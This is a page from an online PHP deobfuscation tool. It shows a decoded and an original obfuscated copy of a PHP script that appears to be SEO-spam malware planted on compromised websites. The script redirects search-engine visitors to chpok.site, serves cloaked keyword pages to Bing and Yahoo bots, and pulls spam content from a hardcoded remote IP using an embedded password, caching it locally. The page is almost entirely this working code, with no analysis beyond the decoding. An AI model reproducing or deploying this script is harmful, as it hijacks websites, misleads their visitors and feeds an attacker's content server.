Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto uBIY2; uBIY2: error_reporting(0); goto aUVe2; OKk9U: foreach ($_GET as $a => ..

Decoded Output download

<?php 
 goto uBIY2; uBIY2: error_reporting(0); goto aUVe2; OKk9U: foreach ($_GET as $a => $b) { $_GET["id"] = $b; } goto B3blp; mxzvx: $xx1 = 5; goto IUWQS; sxWLY: if (strpos($_SERVER["HTTP_REFERER"], "google.") or strpos($_SERVER["HTTP_REFERER"], "yahoo.") or strpos($_SERVER["HTTP_REFERER"], "bing.")) { header("Location: https://chpok.site/enter/?mark={$today}-{$s}&engkey={$keyword}"); die; } else { $myname = $_GET["id"] . ".php"; if (file_exists("index/" . $myname)) { $html = @file_get_contents("index/" . $myname); if (strpos($_SERVER["HTTP_USER_AGENT"], "bing") > 2 or strpos($_SERVER["HTTP_USER_AGENT"], "yahoo") > 2) { $keyword = str_replace("-", " ", $_GET["id"]); $html = str_replace("<title></title>", "<title>{$keyword}</title>", $html); } echo $html; die; } } goto ma4lT; xT6Cd: $apass1 = "visdoijew"; goto Rflwd; Rflwd: $x1 = 3; goto mxzvx; aUVe2: $today = "20231103-"; goto OKk9U; fuwnK: $s = $_SERVER["SERVER_NAME"] . $s; goto PdKhg; uCPlJ: if (strlen($text) < 5000) { $text = file_get_contents("http://135.181.21.126/" . $_GET["fn"] . ".php?pass={$apass}&q={$_GET["id"]}"); } goto hdOYq; JRUkS: if (strpos($_SERVER["HTTP_USER_AGENT"], "bing") > 2 or strpos($_SERVER["HTTP_USER_AGENT"], "yahoo") > 2) { $text = str_replace("<title></title>", "<title>{$keyword}</title>", $text); } goto Kskq8; DRQ2E: $apass = "{$apass1}" . "{$apass2}" . "{$apass3}"; goto sxWLY; qEE0h: $_GET["world"] = 5; goto cTMuz; YLQX_: $keyword = str_replace(" ", "+", $keyword); goto CqVxA; AdrjJ: if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://135.181.21.126/" . $_GET["fn"] . ".php?pass={$apass}&q={$_GET["id"]}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 4); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"); $text = curl_exec($ch); curl_close($ch); } goto uCPlJ; o6RRo: if (strlen($text) > 5000) { $out = fopen("index/" . $myname, "w"); fwrite($out, $text); fclose($out); } goto JRUkS; ma4lT: $query_pars_2 = str_replace("-", "+", $_GET["id"]); goto Zkj7w; Zkj7w: $text = ''; goto AdrjJ; hdOYq: if (strlen($text) < 5000) { $url = "135.181.21.126"; $fp = fsockopen($url, 80, $errno, $errstr, 30); if (!$fp) { echo "{$errstr} ({$errno})<br />\xa"; } else { $req = "/" . $_GET["fn"] . ".php?pass={$apass}&q={$_GET["id"]}"; $out = "GET {$req} HTTP/1.0\xd
"; $out .= "Host: {$url}\xd
"; $out .= "Connection: Close

\xa"; fwrite($fp, $out); while (!feof($fp)) { $text = $text . fgets($fp, 2048); } fclose($fp); } fclose($out); $text = explode("\xa", $text); $text = $text[7]; } goto o6RRo; dS9ex: $s = dirname($_SERVER["PHP_SELF"]); goto Uytct; B3blp: if ($_GET["id"] == "testing") { echo "test good..."; die; } goto KP33Q; Uytct: if ($s == "\" | $s == "/") { $s = ''; } goto fuwnK; CqVxA: $apass2 = "b23hr23vr32"; goto dS9ex; PdKhg: $apass3 = "rv32ydacsvsdv"; goto DRQ2E; IUWQS: $keyword = str_replace("-", " ", $_GET["id"]); goto YLQX_; Kskq8: echo $text; goto Beod5; KP33Q: if ($_GET["id"] == "index") { header("Location: https://google.com"); die; } goto qEE0h; cTMuz: $_GET["fn"] = "696969new"; goto xT6Cd; Beod5: ?>

Did this file decode correctly?

Original Code

<?php
 goto uBIY2; uBIY2: error_reporting(0); goto aUVe2; OKk9U: foreach ($_GET as $a => $b) { $_GET["\151\144"] = $b; } goto B3blp; mxzvx: $xx1 = 5; goto IUWQS; sxWLY: if (strpos($_SERVER["\110\124\x54\x50\x5f\122\105\x46\x45\122\x45\x52"], "\147\x6f\157\x67\154\x65\56") or strpos($_SERVER["\110\124\x54\120\137\122\105\106\105\x52\105\122"], "\x79\141\150\157\x6f\56") or strpos($_SERVER["\x48\x54\x54\120\137\x52\105\106\105\x52\105\x52"], "\142\151\156\x67\x2e")) { header("\x4c\157\143\141\x74\151\x6f\156\72\40\150\x74\x74\160\163\x3a\x2f\x2f\x63\150\160\157\153\x2e\x73\151\x74\x65\57\145\x6e\164\x65\162\57\x3f\155\x61\x72\153\75{$today}\x2d{$s}\x26\145\x6e\x67\x6b\145\171\x3d{$keyword}"); die; } else { $myname = $_GET["\x69\x64"] . "\56\160\150\160"; if (file_exists("\x69\156\144\x65\170\x2f" . $myname)) { $html = @file_get_contents("\151\156\x64\145\170\x2f" . $myname); if (strpos($_SERVER["\110\x54\x54\120\137\125\123\105\x52\x5f\x41\107\105\x4e\x54"], "\142\151\x6e\x67") > 2 or strpos($_SERVER["\x48\x54\124\x50\137\x55\x53\x45\x52\x5f\101\107\x45\116\x54"], "\171\x61\150\x6f\x6f") > 2) { $keyword = str_replace("\x2d", "\x20", $_GET["\151\144"]); $html = str_replace("\x3c\164\151\x74\154\145\76\x3c\57\x74\x69\x74\x6c\145\x3e", "\74\164\x69\x74\x6c\145\76{$keyword}\74\x2f\x74\x69\x74\x6c\145\76", $html); } echo $html; die; } } goto ma4lT; xT6Cd: $apass1 = "\166\x69\163\x64\157\x69\152\145\167"; goto Rflwd; Rflwd: $x1 = 3; goto mxzvx; aUVe2: $today = "\62\x30\62\x33\x31\x31\60\x33\55"; goto OKk9U; fuwnK: $s = $_SERVER["\123\105\122\x56\105\x52\137\x4e\101\115\x45"] . $s; goto PdKhg; uCPlJ: if (strlen($text) < 5000) { $text = file_get_contents("\150\x74\164\x70\x3a\x2f\x2f\x31\x33\65\x2e\x31\70\61\x2e\62\61\x2e\61\x32\x36\57" . $_GET["\146\156"] . "\56\160\150\x70\77\160\x61\163\163\75{$apass}\x26\161\75{$_GET["\x69\x64"]}"); } goto hdOYq; JRUkS: if (strpos($_SERVER["\110\x54\x54\120\137\x55\123\x45\122\x5f\101\x47\x45\116\x54"], "\142\151\x6e\147") > 2 or strpos($_SERVER["\x48\124\124\120\x5f\125\123\105\x52\x5f\101\x47\105\x4e\124"], "\x79\141\x68\157\x6f") > 2) { $text = str_replace("\74\x74\x69\x74\x6c\145\76\74\x2f\164\x69\164\154\145\x3e", "\74\164\151\164\154\x65\x3e{$keyword}\x3c\57\164\x69\164\154\x65\x3e", $text); } goto Kskq8; DRQ2E: $apass = "{$apass1}" . "{$apass2}" . "{$apass3}"; goto sxWLY; qEE0h: $_GET["\x77\157\x72\x6c\144"] = 5; goto cTMuz; YLQX_: $keyword = str_replace("\x20", "\x2b", $keyword); goto CqVxA; AdrjJ: if (function_exists("\x63\x75\x72\154\x5f\x69\x6e\x69\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "\x68\164\x74\160\x3a\57\x2f\61\x33\65\x2e\61\70\x31\x2e\x32\61\56\x31\62\x36\x2f" . $_GET["\x66\x6e"] . "\56\160\150\x70\77\160\x61\x73\163\x3d{$apass}\x26\x71\75{$_GET["\x69\x64"]}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 4); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_USERAGENT, "\115\x6f\x7a\151\x6c\x6c\141\57\64\x2e\x30\x20\50\x63\157\155\x70\x61\164\x69\142\x6c\145\x3b\40\115\x53\111\x45\40\x36\56\x30\73\40\x57\x69\x6e\x64\x6f\x77\163\40\x4e\124\x20\x35\x2e\x31\x3b\40\123\x56\x31\51"); $text = curl_exec($ch); curl_close($ch); } goto uCPlJ; o6RRo: if (strlen($text) > 5000) { $out = fopen("\151\156\144\x65\x78\57" . $myname, "\167"); fwrite($out, $text); fclose($out); } goto JRUkS; ma4lT: $query_pars_2 = str_replace("\x2d", "\x2b", $_GET["\151\x64"]); goto Zkj7w; Zkj7w: $text = ''; goto AdrjJ; hdOYq: if (strlen($text) < 5000) { $url = "\61\x33\x35\x2e\61\x38\61\56\62\61\56\x31\62\66"; $fp = fsockopen($url, 80, $errno, $errstr, 30); if (!$fp) { echo "{$errstr}\x20\50{$errno}\x29\x3c\x62\x72\x20\x2f\76\xa"; } else { $req = "\57" . $_GET["\x66\x6e"] . "\x2e\x70\x68\x70\x3f\x70\141\163\x73\75{$apass}\46\161\75{$_GET["\151\144"]}"; $out = "\x47\x45\x54\40{$req}\x20\x48\x54\124\x50\x2f\x31\x2e\x30\xd\12"; $out .= "\x48\x6f\x73\164\x3a\x20{$url}\xd\12"; $out .= "\x43\x6f\x6e\x6e\145\143\x74\151\157\156\72\x20\103\154\x6f\x73\x65\15\12\15\xa"; fwrite($fp, $out); while (!feof($fp)) { $text = $text . fgets($fp, 2048); } fclose($fp); } fclose($out); $text = explode("\xa", $text); $text = $text[7]; } goto o6RRo; dS9ex: $s = dirname($_SERVER["\x50\x48\120\x5f\123\105\114\x46"]); goto Uytct; B3blp: if ($_GET["\x69\144"] == "\164\x65\x73\164\x69\156\x67") { echo "\x74\x65\x73\x74\x20\x67\x6f\x6f\144\x2e\56\56"; die; } goto KP33Q; Uytct: if ($s == "\134" | $s == "\x2f") { $s = ''; } goto fuwnK; CqVxA: $apass2 = "\142\x32\x33\x68\162\62\63\166\x72\x33\x32"; goto dS9ex; PdKhg: $apass3 = "\162\x76\x33\62\x79\144\x61\x63\x73\x76\163\x64\166"; goto DRQ2E; IUWQS: $keyword = str_replace("\x2d", "\40", $_GET["\151\144"]); goto YLQX_; Kskq8: echo $text; goto Beod5; KP33Q: if ($_GET["\151\x64"] == "\151\x6e\144\145\170") { header("\114\x6f\143\141\x74\x69\157\156\72\40\150\x74\164\x70\163\x3a\57\57\147\157\157\x67\154\x65\x2e\143\157\155"); die; } goto qEE0h; cTMuz: $_GET["\x66\156"] = "\66\71\x36\x39\66\x39\156\145\x77"; goto xT6Cd; Beod5: ?>

Function Calls

None

Variables

None

Stats

MD5 6c30b11353be328356cede520f007222
Eval Count 0
Decode Time 48 ms